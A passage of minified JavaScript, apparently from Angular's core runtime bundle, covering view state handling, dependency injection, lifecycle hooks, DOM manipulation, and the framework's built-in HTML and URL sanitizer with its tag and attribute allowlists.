ye.bindingsEnabled}function Tt(){return ye.lFrame.lView}function t1(){return ye.lFrame.tView}function O1(e){return ye.lFrame.contextLView=e,e[E1]}function an(e){return ye.lFrame.contextLView=null,e}function W1(){let e=Bn();for(;null!==e&&64===e.type;)e=e.parent;return e}function Bn(){return ye.lFrame.currentTNode}function sn(e,t){const i=ye.lFrame;i.currentTNode=e,i.isParent=t}function Yn(){return ye.lFrame.isParent}function qn(){ye.lFrame.isParent=!1}function y(){const e=ye.lFrame;let t=e.bindingRootIndex;return-1===t&&(t=e.bindingRootIndex=e.tView.bindingStartIndex),t}function D(){return ye.lFrame.bindingIndex}function Le(){return ye.lFrame.bindingIndex++}function rt(e){const t=ye.lFrame,i=t.bindingIndex;return t.bindingIndex=t.bindingIndex+e,i}function Ft(e,t){const i=ye.lFrame;i.bindingIndex=i.bindingRootIndex=e,o1(t)}function o1(e){ye.lFrame.currentDirectiveIndex=e}function l1(e){const t=ye.lFrame.currentDirectiveIndex;return-1===t?null:e[t]}function F1(){return ye.lFrame.currentQueryIndex}function A1(e){ye.lFrame.currentQueryIndex=e}function C1(e){const t=e[Qt];return 2===t.type?t.declTNode:1===t.type?e[V1]:null}function S1(e,t,i){if(i&Ie.SkipSelf){let o=t,l=e;for(;!(o=o.parent,null!==o||i&Ie.Host||(o=C1(l),null===o||(l=l[cn],10&o.type))););if(null===o)return!1;t=o,e=l}const r=ye.lFrame=tn();return r.currentTNode=t,r.lView=e,!0}function Q1(e){const t=tn(),i=e[Qt];ye.lFrame=t,t.currentTNode=i.firstChild,t.lView=e,t.tView=i,t.contextLView=e,t.bindingIndex=i.bindingStartIndex,t.inI18n=!1}function tn(){const e=ye.lFrame,t=null===e?null:e.child;return null===t?Tn(e):t}function Tn(e){const t={currentTNode:null,isParent:!0,lView:null,tView:null,selectedIndex:-1,contextLView:null,elementDepthCount:0,currentNamespace:null,currentDirectiveIndex:-1,bindingRootIndex:-1,bindingIndex:-1,currentQueryIndex:0,parent:e,child:null,inI18n:!1};return null!==e&&(e.child=t),t}function En(){const e=ye.lFrame;return ye.lFrame=e.parent,e.currentTNode=null,e.lView=null,e}const wn=En;function e2(){const e=En();e.isParent=!0,e.tView=null,e.selectedIndex=-1,e.contextLView=null,e.elementDepthCount=0,e.currentDirectiveIndex=-1,e.currentNamespace=null,e.bindingRootIndex=-1,e.bindingIndex=-1,e.currentQueryIndex=0}function hn(){return ye.lFrame.selectedIndex}function zn(e){ye.lFrame.selectedIndex=e}function $1(){const e=ye.lFrame;return pi(e.tView,e.selectedIndex)}function H2(){ye.lFrame.currentNamespace=Gi}function l2(){!function Y2(){ye.lFrame.currentNamespace=null}()}function y1(e,t){for(let i=t.directiveStart,r=t.directiveEnd;i<r;i++){const l=e.data[i].type.prototype,{ngAfterContentInit:v,ngAfterContentChecked:F,ngAfterViewInit:Y,ngAfterViewChecked:me,ngOnDestroy:$e}=l;v&&(e.contentHooks??(e.contentHooks=[])).push(-i,v),F&&((e.contentHooks??(e.contentHooks=[])).push(i,F),(e.contentCheckHooks??(e.contentCheckHooks=[])).push(i,F)),Y&&(e.viewHooks??(e.viewHooks=[])).push(-i,Y),me&&((e.viewHooks??(e.viewHooks=[])).push(i,me),(e.viewCheckHooks??(e.viewCheckHooks=[])).push(i,me)),null!=$e&&(e.destroyHooks??(e.destroyHooks=[])).push(i,$e)}}function M1(e,t,i){he(e,t,3,i)}function H1(e,t,i,r){(3&e[h1])===i&&he(e,t,i,r)}function N(e,t){let i=e[h1];(3&i)===t&&(i&=2047,i+=1,e[h1]=i)}function he(e,t,i,r){const l=r??-1,v=t.length-1;let F=0;for(let Y=void 0!==r?65535&e[Fn]:0;Y<v;Y++)if("number"==typeof t[Y+1]){if(F=t[Y],null!=r&&F>=r)break}else t[Y]<0&&(e[Fn]+=65536),(F<l||-1==l)&&(W(e,i,t,Y),e[Fn]=(4294901760&e[Fn])+Y+2),Y++}function W(e,t,i,r){const o=i[r]<0,l=i[r+1],F=e[o?-i[r]:i[r]];if(o){if(e[h1]>>11<e[Fn]>>16&&(3&e[h1])===t){e[h1]+=2048,bn(4,F,l);try{l.call(F)}finally{bn(5,F,l)}}}else{bn(4,F,l);try{l.call(F)}finally{bn(5,F,l)}}}const Ve=-1;class ht{constructor(t,i,r){this.factory=t,this.resolving=!1,this.canSeeViewProviders=i,this.injectImpl=r}}function rn(e,t,i){let r=0;for(;r<i.length;){const o=i[r];if("number"==typeof o){if(0!==o)break;r++;const l=i[r++],v=i[r++],F=i[r++];e.setAttribute(t,v,F,l)}else{const l=o,v=i[++r];Di(l)?e.setProperty(t,l,v):e.setAttribute(t,l,v),r++}}return r}function kn(e){return 3===e||4===e||6===e}function Di(e){return 64===e.charCodeAt(0)}function wi(e,t){if(null!==t&&0!==t.length)if(null===e||0===e.length)e=t.slice();else{let i=-1;for(let r=0;r<t.length;r++){const o=t[r];"number"==typeof o?i=o:0===i||t2(e,i,o,null,-1===i||2===i?t[++r]:null)}}return e}function t2(e,t,i,r,o){let l=0,v=e.length;if(-1===t)v=-1;else for(;l<e.length;){const F=e[l++];if("number"==typeof F){if(F===t){v=-1;break}if(F>t){v=l-1;break}}}for(;l<e.length;){const F=e[l];if("number"==typeof F)break;if(F===i){if(null===r)return void(null!==o&&(e[l+1]=o));if(r===e[l+1])return void(e[l+2]=o)}l++,null!==r&&l++,null!==o&&l++}-1!==v&&(e.splice(v,0,t),l=v+1),e.splice(l++,0,i),null!==r&&e.splice(l++,0,r),null!==o&&e.splice(l++,0,o)}function mi(e){return e!==Ve}function Ii(e){return 32767&e}function ji(e,t){let i=function Ai(e){return e>>16}(e),r=t;for(;i>0;)r=r[cn],i--;return r}let or=!0;function $2(e){const t=or;return or=e,t}const K2=255,Cr=5;let Rr=0;const _2={};function cr(e,t){const i=Fr(e,t);if(-1!==i)return i;const r=t[Qt];r.firstCreatePass&&(e.injectorIndex=t.length,Pr(r.data,e),Pr(t,null),Pr(r.blueprint,null));const o=V2(e,t),l=e.injectorIndex;if(mi(o)){const v=Ii(o),F=ji(o,t),Y=F[Qt].data;for(let me=0;me<8;me++)t[l+me]=F[v+me]|Y[v+me]}return t[l+8]=o,l}function Pr(e,t){e.push(0,0,0,0,0,0,0,0,t)}function Fr(e,t){return-1===e.injectorIndex||e.parent&&e.parent.injectorIndex===e.injectorIndex||null===t[e.injectorIndex+8]?-1:e.injectorIndex}function V2(e,t){if(e.parent&&-1!==e.parent.injectorIndex)return e.parent.injectorIndex;let i=0,r=null,o=t;for(;null!==o;){if(r=Dr(o),null===r)return Ve;if(i++,o=o[cn],-1!==r.injectorIndex)return r.injectorIndex|i<<16}return Ve}function Mr(e,t,i){!function qr(e,t,i){let r;"string"==typeof i?r=i.charCodeAt(0)||0:i.hasOwnProperty(Zt)&&(r=i[Zt]),null==r&&(r=i[Zt]=Rr++);const o=r&K2;t.data[e+(o>>Cr)]|=1<<o}(e,t,i)}function lr(e,t,i){if(i&Ie.Optional||void 0!==e)return e;q()}function Nr(e,t,i,r){if(i&Ie.Optional&&void 0===r&&(r=null),!(i&(Ie.Self|Ie.Host))){const o=e[In],l=m(void 0);try{return o?o.get(t,r,i&Ie.Optional):b(t,r,i&Ie.Optional)}finally{m(l)}}return lr(r,0,i)}function Hr(e,t,i,r=Ie.Default,o){if(null!==e){if(1024&t[h1]){const v=function q2(e,t,i,r,o){let l=e,v=t;for(;null!==l&&null!==v&&1024&v[h1]&&!(256&v[h1]);){const F=Z2(l,v,i,r|Ie.Self,_2);if(F!==_2)return F;let Y=l.parent;if(!Y){const me=v[li];if(me){const $e=me.get(i,_2,r);if($e!==_2)return $e}Y=Dr(v),v=v[cn]}l=Y}return o}(e,t,i,r,_2);if(v!==_2)return v}const l=Z2(e,t,i,r,_2);if(l!==_2)return l}return Nr(t,i,r,o)}function Z2(e,t,i,r,o){const l=function Q2(e){if("string"==typeof e)return e.charCodeAt(0)||0;const t=e.hasOwnProperty(Zt)?e[Zt]:void 0;return"number"==typeof t?t>=0?t&K2:ea:t}(i);if("function"==typeof l){if(!S1(t,e,r))return r&Ie.Host?lr(o,0,r):Nr(t,i,r,o);try{const v=l(r);if(null!=v||r&Ie.Optional)return v;q()}finally{wn()}}else if("number"==typeof l){let v=null,F=Fr(e,t),Y=Ve,me=r&Ie.Host?t[X1][V1]:null;for((-1===F||r&Ie.SkipSelf)&&(Y=-1===F?V2(e,t):t[F+8],Y!==Ve&&Br(r,!1)?(v=t[Qt],F=Ii(Y),t=ji(Y,t)):F=-1);-1!==F;){const $e=t[Qt];if(Vr(l,F,$e.data)){const ft=Xr(F,t,i,v,r,me);if(ft!==_2)return ft}Y=t[F+8],Y!==Ve&&Br(r,t[Qt].data[F+8]===me)&&Vr(l,F,t)?(v=$e,F=Ii(Y),t=ji(Y,t)):F=-1}}return o}function Xr(e,t,i,r,o,l){const v=t[Qt],F=v.data[e+8],$e=Jn(F,v,i,null==r?Hn(F)&&or:r!=v&&0!=(3&F.type),o&Ie.Host&&l===F);return null!==$e?k2(t,v,$e,F):_2}function Jn(e,t,i,r,o){const l=e.providerIndexes,v=t.data,F=1048575&l,Y=e.directiveStart,$e=l>>20,zt=o?F+$e:e.directiveEnd;for(let Nt=r?F:F+$e;Nt<zt;Nt++){const Kt=v[Nt];if(Nt<Y&&i===Kt||Nt>=Y&&Kt.type===i)return Nt}if(o){const Nt=v[Y];if(Nt&&pn(Nt)&&Nt.type===i)return Y}return null}function k2(e,t,i,r){let o=e[i];const l=t.data;if(function Ht(e){return e instanceof ht}(o)){const v=o;v.resolving&&function K(e,t){const i=t?`. Dependency path: ${t.join(" > ")} > ${e}`:"";throw new Q(-200,`Circular dependency in DI detected for ${e}${i}`)}(function k(e){return"function"==typeof e?e.name||e.toString():"object"==typeof e&&null!=e&&"function"==typeof e.type?e.type.name||e.type.toString():Ce(e)}(l[i]));const F=$2(v.canSeeViewProviders);v.resolving=!0;const Y=v.injectImpl?m(v.injectImpl):null;S1(e,r,Ie.Default);try{o=e[i]=v.factory(void 0,l,e,r),t.firstCreatePass&&i>=r.directiveStart&&function v1(e,t,i){const{ngOnChanges:r,ngOnInit:o,ngDoCheck:l}=t.type.prototype;if(r){const v=Ui(t);(i.preOrderHooks??(i.preOrderHooks=[])).push(e,v),(i.preOrderCheckHooks??(i.preOrderCheckHooks=[])).push(e,v)}o&&(i.preOrderHooks??(i.preOrderHooks=[])).push(0-e,o),l&&((i.preOrderHooks??(i.preOrderHooks=[])).push(e,l),(i.preOrderCheckHooks??(i.preOrderCheckHooks=[])).push(e,l))}(i,l[i],t)}finally{null!==Y&&m(Y),$2(F),v.resolving=!1,wn()}}return o}function Vr(e,t,i){return!!(i[t+(e>>Cr)]&1<<e)}function Br(e,t){return!(e&Ie.Self||e&Ie.Host&&t)}class O2{constructor(t,i){this._tNode=t,this._lView=i}get(t,i,r){return Hr(this._tNode,this._lView,t,xe(r),i)}}function ea(){return new O2(W1(),Tt())}function ta(e){return pt(()=>{const t=e.prototype.constructor,i=t[Rt]||xr(t),r=Object.prototype;let o=Object.getPrototypeOf(e.prototype).constructor;for(;o&&o!==r;){const l=o[Rt]||xr(o);if(l&&l!==i)return l;o=Object.getPrototypeOf(o)}return l=>new l})}function xr(e){return H(e)?()=>{const t=xr(z(e));return t&&t()}:ai(e)}function Dr(e){const t=e[Qt],i=t.type;return 2===i?t.declTNode:1===i?e[V1]:null}function oi(e){return function Jr(e,t){if("class"===t)return e.classes;if("style"===t)return e.styles;const i=e.attrs;if(i){const r=i.length;let o=0;for(;o<r;){const l=i[o];if(kn(l))break;if(0===l)o+=2;else if("number"==typeof l)for(o++;o<r&&"string"==typeof i[o];)o++;else{if(l===t)return i[o+1];o+=2}}}return null}(W1(),e)}const Ri="__parameters__",J2="__prop__metadata__";function d2(e){return function(...i){if(e){const r=e(...i);for(const o in r)this[o]=r[o]}}}function T2(e,t,i){return pt(()=>{const r=d2(t);function o(...l){if(this instanceof o)return r.apply(this,l),this;const v=new o(...l);return F.annotation=v,F;function F(Y,me,$e){const ft=Y.hasOwnProperty(Ri)?Y[Ri]:Object.defineProperty(Y,Ri,{value:[]})[Ri];for(;ft.length<=$e;)ft.push(null);return(ft[$e]=ft[$e]||[]).push(v),Y}}return i&&(o.prototype=Object.create(i.prototype)),o.prototype.ngMetadataName=e,o.annotationCls=o,o})}function dr(e,t,i,r){return pt(()=>{const o=d2(t);function l(...v){if(this instanceof l)return o.apply(this,v),this;const F=new l(...v);return function Y(me,$e){const ft=me.constructor,zt=ft.hasOwnProperty(J2)?ft[J2]:Object.defineProperty(ft,J2,{value:{}})[J2];zt[$e]=zt.hasOwnProperty($e)&&zt[$e]||[],zt[$e].unshift(F),r&&r(me,$e,...v)}}return i&&(l.prototype=Object.create(i.prototype)),l.prototype.ngMetadataName=e,l.annotationCls=l,l})}class yn{constructor(t,i){this._desc=t,this.ngMetadataName="InjectionToken",this.\\u0275prov=void 0,"number"==typeof i?this.__NG_ELEMENT_ID__=i:void 0!==i&&(this.\\u0275prov=Be({token:this,providedIn:i.providedIn||"root",factory:i.factory}))}get multi(){return this}toString(){return`InjectionToken ${this._desc}`}}class wr{}const ra=dr("ViewChildren",(e,t={})=>({selector:e,first:!1,isViewQuery:!0,descendants:!0,emitDistinctChangesOnly:!0,...t}),wr);function R2(e,t){e.forEach(i=>Array.isArray(i)?R2(i,t):t(i))}function Sr(e,t,i){t>=e.length?e.push(i):e.splice(t,0,i)}function X2(e,t){return t>=e.length-1?e.pop():e.splice(t,1)[0]}function er(e,t){const i=[];for(let r=0;r<e;r++)i.push(t);return i}function Pi(e,t,i){let r=M(e,t);return r>=0?e[1|r]=i:(r=~r,function sa(e,t,i,r){let o=e.length;if(o==t)e.push(i,r);else if(1===o)e.push(r,e[0]),e[0]=i;else{for(o--,e.push(e[o-1],e[o]);o>t;)e[o]=e[o-2],o--;e[t]=i,e[t+1]=r}}(e,r,t,i)),r}function jr(e,t){const i=M(e,t);if(i>=0)return e[1|i]}function M(e,t){return function p(e,t,i){let r=0,o=e.length>>i;for(;o!==r;){const l=r+(o-r>>1),v=e[l<<i];if(t===v)return l<<i;v>t?o=l:r=l+1}return~(o<<i)}(e,t,1)}const On=Ae(T2("Optional"),8),Yi=Ae(T2("SkipSelf"),4);var L2=(()=>((L2=L2||{})[L2.Important=1]="Important",L2[L2.DashCase=2]="DashCase",L2))();const ma=new Map;let eo=0;const ge="__ngContext__";function et(e,t){dn(t)?(e[ge]=t[$n],function _s(e){ma.set(e[$n],e)}(t)):e[ge]=t}let b2;function s2(e,t){return b2(e,t)}function C2(e){const t=e[N1];return Sn(t)?t[N1]:t}function $r(e){return zr(e[fn])}function ir(e){return zr(e[Y1])}function zr(e){for(;null!==e&&!Sn(e);)e=e[Y1];return e}function Kr(e,t,i,r,o){if(null!=r){let l,v=!1;Sn(r)?l=r:dn(r)&&(v=!0,r=r[w1]);const F=en(r);0===e&&null!==i?null==o?oo(t,i,F):Tr(t,i,F,o||null,!0):1===e&&null!==i?Tr(t,i,F,o||null,!0):2===e?function o4(e,t,i){const r=lo(e,t);r&&function n4(e,t,i,r){e.removeChild(t,i,r)}(e,r,t,i)}(t,F,v):3===e&&t.destroyNode(F),null!=l&&function Lc(e,t,i,r,o){const l=i[ri];l!==en(i)&&Kr(t,e,r,l,o);for(let F=ln;F<i.length;F++){const Y=i[F];ws(Y[Qt],Y,e,t,r,l)}}(t,e,l,i,o)}}function Ms(e,t,i){return e.createElement(t,i)}function no(e,t){const i=e[Nn],r=i.indexOf(t),o=t[N1];512&t[h1]&&(t[h1]&=-513,c2(o,-1)),i.splice(r,1)}function xs(e,t){if(e.length<=ln)return;const i=ln+t,r=e[i];if(r){const o=r[Pn];null!==o&&o!==e&&no(o,r),t>0&&(e[i-1][Y1]=r[Y1]);const l=X2(e,ln+t);!function Ko(e,t){ws(e,t,t[D1],2,null,null),t[w1]=null,t[V1]=null}(r[Qt],r);const v=l[An];null!==v&&v.detachView(l[Qt]),r[N1]=null,r[Y1]=null,r[h1]&=-65}return r}function ro(e,t){if(!(128&t[h1])){const i=t[D1];i.destroyNode&&ws(e,t,i,3,null,null),function qo(e){let t=e[fn];if(!t)return Ds(e[Qt],e);for(;t;){let i=null;if(dn(t))i=t[fn];else{const r=t[ln];r&&(i=r)}if(!i){for(;t&&!t[Y1]&&t!==e;)dn(t)&&Ds(t[Qt],t),t=t[N1];null===t&&(t=e),dn(t)&&Ds(t[Qt],t),i=t&&t[Y1]}t=i}}(t)}}function Ds(e,t){if(!(128&t[h1])){t[h1]&=-65,t[h1]|=128,function t4(e,t){let i;if(null!=e&&null!=(i=e.destroyHooks))for(let r=0;r<i.length;r+=2){const o=t[i[r]];if(!(o instanceof ht)){const l=i[r+1];if(Array.isArray(l))for(let v=0;v<l.length;v+=2){const F=o[l[v]],Y=l[v+1];bn(4,F,Y);try{Y.call(F)}finally{bn(5,F,Y)}}else{bn(4,o,l);try{l.call(o)}finally{bn(5,o,l)}}}}}(e,t),function e4(e,t){const i=e.cleanup,r=t[vn];let o=-1;if(null!==i)for(let l=0;l<i.length-1;l+=2)if("string"==typeof i[l]){const v=i[l+3];v>=0?r[o=v]():r[o=-v].unsubscribe(),l+=2}else{const v=r[o=i[l+1]];i[l].call(v)}if(null!==r){for(let l=o+1;l<r.length;l++)(0,r[l])();t[vn]=null}}(e,t),1===t[Qt].type&&t[D1].destroy();const i=t[Pn];if(null!==i&&Sn(t[N1])){i!==t[N1]&&no(i,t);const r=t[An];null!==r&&r.detachView(e)}!function ys(e){ma.delete(e[$n])}(t)}}function ao(e,t,i){return function so(e,t,i){let r=t;for(;null!==r&&40&r.type;)r=(t=r).parent;if(null===r)return i[w1];{const{componentOffset:o}=r;if(o>-1){const{encapsulation:l}=e.data[r.directiveStart+o];if(l===fe.None||l===fe.Emulated)return null}return _n(r,i)}}(e,t.parent,i)}function Tr(e,t,i,r,o){e.insertBefore(t,i,r,o)}function oo(e,t,i){e.appendChild(t,i)}function co(e,t,i,r,o){null!==r?Tr(e,t,i,r,o):oo(e,t,i)}function lo(e,t){return e.parentNode(t)}function T3(e,t,i){return k3(e,t,i)}let r4,fo,d4,po,k3=function L3(e,t,i){return 40&e.type?_n(e,i):null};function uo(e,t,i,r){const o=ao(e,r,t),l=t[D1],F=T3(r.parent||t[V1],r,t);if(null!=o)if(Array.isArray(i))for(let Y=0;Y<i.length;Y++)co(l,o,i[Y],F,!1);else co(l,o,i,F,!1);void 0!==r4&&r4(l,r,t,i,o)}function ho(e,t){if(null!==t){const i=t.type;if(3&i)return _n(t,e);if(4&i)return s4(-1,e[t.index]);if(8&i){const r=t.child;if(null!==r)return ho(e,r);{const o=e[t.index];return Sn(o)?s4(-1,o):en(o)}}if(32&i)return s2(t,e)()||en(e[t.index]);{const r=a4(e,t);return null!==r?Array.isArray(r)?r[0]:ho(C2(e[X1]),r):ho(e,t.next)}}return null}function a4(e,t){return null!==t?e[X1][V1].projection[t.projection]:null}function s4(e,t){const i=ln+e+1;if(i<t.length){const r=t[i],o=r[Qt].firstChild;if(null!==o)return ho(r,o)}return t[ri]}function c4(e,t,i,r,o,l,v){for(;null!=i;){const F=r[i.index],Y=i.type;if(v&&0===t&&(F&&et(en(F),r),i.flags|=2),32!=(32&i.flags))if(8&Y)c4(e,t,i.child,r,o,l,!1),Kr(t,e,o,F,l);else if(32&Y){const me=s2(i,r);let $e;for(;$e=me();)Kr(t,e,o,$e,l);Kr(t,e,o,F,l)}else 16&Y?I3(e,t,r,i,o,l):Kr(t,e,o,F,l);i=v?i.projectionNext:i.next}}function ws(e,t,i,r,o,l){c4(i,r,e.firstChild,t,o,l,!1)}function I3(e,t,i,r,o,l){const v=i[X1],Y=v[V1].projection[r.projection];if(Array.isArray(Y))for(let me=0;me<Y.length;me++)Kr(t,e,o,Y[me],l);else c4(e,t,Y,v[N1],o,l,!0)}function R3(e,t,i){""===i?e.removeAttribute(t,"class"):e.setAttribute(t,"class",i)}function P3(e,t,i){const{mergedAttrs:r,classes:o,styles:l}=i;null!==r&&rn(e,t,r),null!==o&&R3(e,t,o),null!==l&&function Oc(e,t,i){e.setAttribute(t,"style",i)}(e,t,l)}function Fa(e){return function l4(){if(void 0===fo&&(fo=null,ie.trustedTypes))try{fo=ie.trustedTypes.createPolicy("angular",{createHTML:e=>e,createScript:e=>e,createScriptURL:e=>e})}catch{}return fo}()?.createHTML(e)||e}function Fc(e){d4=e}function u4(){if(void 0===po&&(po=null,ie.trustedTypes))try{po=ie.trustedTypes.createPolicy("angular#unsafe-bypass",{createHTML:e=>e,createScript:e=>e,createScriptURL:e=>e})}catch{}return po}function N3(e){return u4()?.createHTML(e)||e}function V3(e){return u4()?.createScriptURL(e)||e}class va{constructor(t){this.changingThisBreaksApplicationSecurity=t}toString(){return`SafeValue must use [property]=binding: ${this.changingThisBreaksApplicationSecurity} (see ${G})`}}class Nc extends va{getTypeName(){return"HTML"}}class Hc extends va{getTypeName(){return"Style"}}class Vc extends va{getTypeName(){return"Script"}}class Bc extends va{getTypeName(){return"URL"}}class B3 extends va{getTypeName(){return"ResourceURL"}}function Lr(e){return e instanceof va?e.changingThisBreaksApplicationSecurity:e}function Na(e,t){const i=function Uc(e){return e instanceof va&&e.getTypeName()||null}(e);if(null!=i&&i!==t){if("ResourceURL"===i&&"URL"===t)return!0;throw new Error(`Required a safe ${t}, got a ${i} (see ${G})`)}return i===t}function Gc(e){return new Nc(e)}function jc(e){return new Hc(e)}function U3(e){return new Vc(e)}function Yc(e){return new Bc(e)}function Wc(e){return new B3(e)}class $c{constructor(t){this.inertDocumentHelper=t}getInertBodyElement(t){t="<body><remove></remove>"+t;try{const i=(new window.DOMParser).parseFromString(Fa(t),"text/html").body;return null===i?this.inertDocumentHelper.getInertBodyElement(t):(i.removeChild(i.firstChild),i)}catch{return null}}}class Kc{constructor(t){this.defaultDoc=t,this.inertDocument=this.defaultDoc.implementation.createHTMLDocument("sanitization-inert")}getInertBodyElement(t){const i=this.inertDocument.createElement("template");return i.innerHTML=Fa(t),i}}const Qc=/^(?!javascript:)(?:[a-z0-9+.-]+:|[^&:\\/?#]*(?:[\\/?#]|$))/i;function As(e){return(e=String(e)).match(Qc)?e:"unsafe:"+e}function kr(e){const t={};for(const i of e.split(","))t[i]=!0;return t}function Ss(...e){const t={};for(const i of e)for(const r in i)i.hasOwnProperty(r)&&(t[r]=!0);return t}const j3=kr("area,br,col,hr,img,wbr"),Y3=kr("colgroup,dd,dt,li,p,tbody,td,tfoot,th,thead,tr"),W3=kr("rp,rt"),h4=Ss(j3,Ss(Y3,kr("address,article,aside,blockquote,caption,center,del,details,dialog,dir,div,dl,figure,figcaption,footer,h1,h2,h3,h4,h5,h6,header,hgroup,hr,ins,main,map,menu,nav,ol,pre,section,summary,table,ul")),Ss(W3,kr("a,abbr,acronym,audio,b,bdi,bdo,big,br,cite,code,del,dfn,em,font,i,img,ins,kbd,label,map,mark,picture,q,ruby,rp,rt,s,samp,small,source,span,strike,strong,sub,sup,time,track,tt,u,var,video")),Ss(W3,Y3)),f4=kr("background,cite,href,itemtype,longdesc,poster,src,xlink:href"),$3=Ss(f4,kr("abbr,accesskey,align,alt,autoplay,axis,bgcolor,border,cellpadding,cellspacing,class,clear,color,cols,colspan,compact,controls,coords,datetime,default,dir,download,face,headers,height,hidden,hreflang,hspace,ismap,itemscope,itemprop,kind,label,lang,language,loop,media,muted,nohref,nowrap,open,preload,rel,rev,role,rows,rowspan,rules,scope,scrolling,shape,size,sizes,span,srclang,srcset,start,summary,tabindex,target,title,translate,type,usemap,valign,value,vspace,width"),kr("aria-activedescendant,aria-atomic,aria-autocomplete,aria-busy,aria-checked,aria-colcount,aria-colindex,aria-colspan,aria-controls,aria-current,aria-describedby,aria-details,aria-disabled,aria-dropeffect,aria-errormessage,aria-expanded,aria-flowto,aria-grabbed,aria-haspopup,aria-hidden,aria-invalid,aria-keyshortcuts,aria-label,aria-labelledby,aria-level,aria-live,aria-modal,aria-multiline,aria-multiselectable,aria-orientation,aria-owns,aria-placeholder,aria-posinset,aria-pressed,aria-readonly,aria-relevant,aria-required,aria-roledescription,aria-rowcount,aria-rowindex,aria-rowspan,aria-selected,aria-setsize,aria-sort,aria-valuemax,aria-valuemin,aria-valuenow,aria-valuetext")),qc=kr("script,style,template");class Jc{constructor(){this.sanitizedSomething=!1,this.buf=[]}sanitizeChildren(t){let i=t.firstChild,r=!0;for(;i;)if(i.nodeType===Node.ELEMENT_NODE?r=this.startElement(i):i.nodeType===Node.TEXT_NODE?this.chars(i.nodeValue):this.sanitizedSomething=!0,r&&i.firstChild)i=i.firstChild;else for(;i;){i.nodeType===Node.ELEMENT_NODE&&this.endElement(i);let o=this.checkClobberedElement(i,i.nextSibling);if(o){i=o;break}i=this.checkClobberedElement(i,i.parentNode)}return this.buf.join("")}startElement(t){const i=t.nodeName.toLowerCase();if(!h4.hasOwnProperty(i))return this.sanitizedSomething=!0,!qc.hasOwnProperty(i);this.buf.push("<"),this.buf.push(i);const r=t.attributes;for(let o=0;o<r.length;o++){const l=r.item(o),v=l.name,F=v.toLowerCase();if(!$3.hasOwnProperty(F)){this.sanitizedSomething=!0;continue}let Y=l.value;f4[F]&&(Y=As(Y)),this.buf.push(" ",v,\'="\',K3(Y),\'"\')}return this.buf.push(">"),!0}endElement(t){const i=t.nodeName.toLowerCase();h4.hasOwnProperty(i)&&!j3.hasOwnProperty(i)&&(this.buf.push("</"),this.buf.push(i),this.buf.push(">"))}chars(t){this.buf.push(K3(t))}checkClobberedElement(t,i){if(i&&(t.compareDocumentPosition(i)&Node.DOCUMENT_POSITION_CONTAINED_BY)===Node.DOCUMENT_POSITION_CONTAINED_BY)throw new Error(`Failed to sanitize html because the element is clobbered: ${t.outerHTML}`);return i}}const Xc=/[\\uD800-\\uDBFF][\\uDC00-\\uDFFF]/g,el=/([^\\#-~ |!])/g;function K3(e){return e.replace(/&/g,"&").replace(Xc,function(t){return"&#"+(1024*(t.charCodeAt(0)-55296)+(t.charCodeAt(1)-56320)+65536)+";"}).replace(el,function(t){return"&#"+t.charCodeAt(0)+";"}).replace(/</g,"<").replace(/>/g,">")}let mo;function Z3(e,t){let i=null;try{mo=mo||function G3(e){const t=new Kc(e);return function Zc(){try{return!!(new window.DOMParser).parseFromString(Fa(""),"text/html")}catch{return!1}}()?new $c(t):t}(e);let r=t?String(t):"";i=mo.getInertBodyElement(r);let o=5,l=r;do{if(0===o)throw new Error("Failed to sanitize html because the input is unstable");o--,r=l,l=i.innerHTML,i=mo.getInertBodyElement(r)}while(r!==l);return Fa((new Jc).sanitizeChildren(p4(i)||i))}finally{if(i){const r=p4(i)||i;for(;r.firstChild;)r.removeChild(r.firstChild)}}}function p4(e){return"content"in e&&function tl(e){return e.nodeType===Node.ELEMENT_NODE&&"TEMPLATE"===e.nodeName}(e)?e.content:null}var Si=(()=>((Si=Si||{})[Si.NONE=0]="NONE",Si[Si.HTML=1]="HTML",Si[Si.STYLE=2]="STYLE",Si[Si.SCRIPT=3]="SCRIPT",Si[Si.URL=4]="URL",Si[Si.RESOURCE_URL=5]="RESOURCE_URL",Si))();function Q3(e){const t=Es();return t?N3(t.sanitize(Si.HTML,e)||""):Na(e,"HTML")?N3(Lr(e)):Z3(function F3(){return void 0!==d4?d4:typeof document<"u"?document:void 0}(),Ce(e))}function q3(e){const t=Es();return t?t.sanitize(Si.STYLE,e)||"":Na(e,"Style")?Lr(e):Ce(e)}function m4(e){const t=Es();return t?t.sanitize(Si.URL,e)||"":Na(e,"URL")?Lr(e):As(Ce(e))}function J3(e){const t=Es();if(t)return V3(t.sanitize(Si.RESOURCE_URL,e)||"");if(Na(e,"ResourceURL"))return V3(Lr(e));throw new Q(904,!1)}function X3(e,t,i){return function al(e,t){return"src"===t&&("embed"===e||"frame"===e||"iframe"===e||"media"===e||"script"===e)||"href"===t&&("base"===e||"link"===e)?J3:m4}(t,i)(e)}function Es(){const e=Tt();return e&&e[ci]}const g4=new yn("ENVIRONMENT_INITIALIZER"),e6=new yn("INJECTOR",-1),t6=new yn("INJECTOR_DEF_TYPES");class n6{get(t,i=Vt){if(i===Vt){const r=new Error(`NullInjectorError: No provider for ${_(t)}!`);throw r.name="NullInjectorError",r}return i}}function sl(e){return{\\u0275providers:e}}function ol(...e){return{\\u0275providers:v4(0,e),\\u0275fromNgModule:!0}}function v4(e,...t){const i=[],r=new Set;let o;return R2(t,l=>{const v=l;_4(v,i,[],r)&&(o||(o=[]),o.push(v))}),void 0!==o&&i6(o,i),i}function i6(e,t){for(let i=0;i<e.length;i++){const{providers:o}=e[i];y4(o,l=>{t.push(l)})}}function _4(e,t,i,r){if(!(e=z(e)))return!1;let o=null,l=ct(e);const v=!l&&O(e);if(l||v){if(v&&!v.standalone)return!1;o=e}else{const Y=e.ngModule;if(l=ct(Y),!l)return!1;o=Y}const F=r.has(o);if(v){if(F)return!1;if(r.add(o),v.dependencies){const Y="function"==typeof v.dependencies?v.dependencies():v.dependencies;for(const me of Y)_4(me,t,i,r)}}else{if(!l)return!1;{if(null!=l.imports&&!F){let me;r.add(o);try{R2(l.imports,$e=>{_4($e,t,i,r)&&(me||(me=[]),me.push($e))})}finally{}void 0!==me&&i6(me,t)}if(!F){const me=ai(o)||(()=>new o);t.push({provide:o,useFactory:me,deps:at},{provide:t6,useValue:o,multi:!0},{provide:g4,useValue:()=>Pe(o),multi:!0})}const Y=l.providers;null==Y||F||y4(Y,$e=>{t.push($e)})}}return o!==e&&void 0!==e.providers}function y4(e,t){for(let i of e)j(i)&&(i=i.\\u0275providers),Array.isArray(i)?y4(i,t):t(i)}const cl=f({provide:String,useValue:f});function b4(e){return null!==e&&"object"==typeof e&&cl in e}function _a(e){return"function"==typeof 